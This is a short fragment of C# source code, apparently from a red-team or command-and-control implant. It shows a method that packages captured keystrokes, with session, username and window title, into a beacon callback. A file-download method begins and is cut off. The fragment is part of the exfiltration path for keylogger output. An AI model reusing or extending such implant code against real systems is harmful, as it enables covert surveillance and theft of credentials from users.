| 59 | } |
| 60 | |
| 61 | protected void SendKeystrokes(string keys, int session, string userName, string title) { |
| 62 | |
| 63 | var keystrokesCallback = new BinaryWriter(new MemoryStream()); |
| 64 | keystrokesCallback.Write(keys.Length); |
| 65 | keystrokesCallback.Write(Encoding.UTF8.GetBytes(keys)); |
| 66 | WriteSessionUserNameTitle(keystrokesCallback, session, userName, title); |
| 67 | |
| 68 | BeaconCallbackWriter(OutputTypes.CALLBACK_KEYSTROKES, ((MemoryStream)keystrokesCallback.BaseStream).ToArray(), (int)keystrokesCallback.BaseStream.Length); |
| 69 | } |
| 70 | |
| 71 | protected void DownloadFile(string fileName, Stream fileData) { |
| 72 | |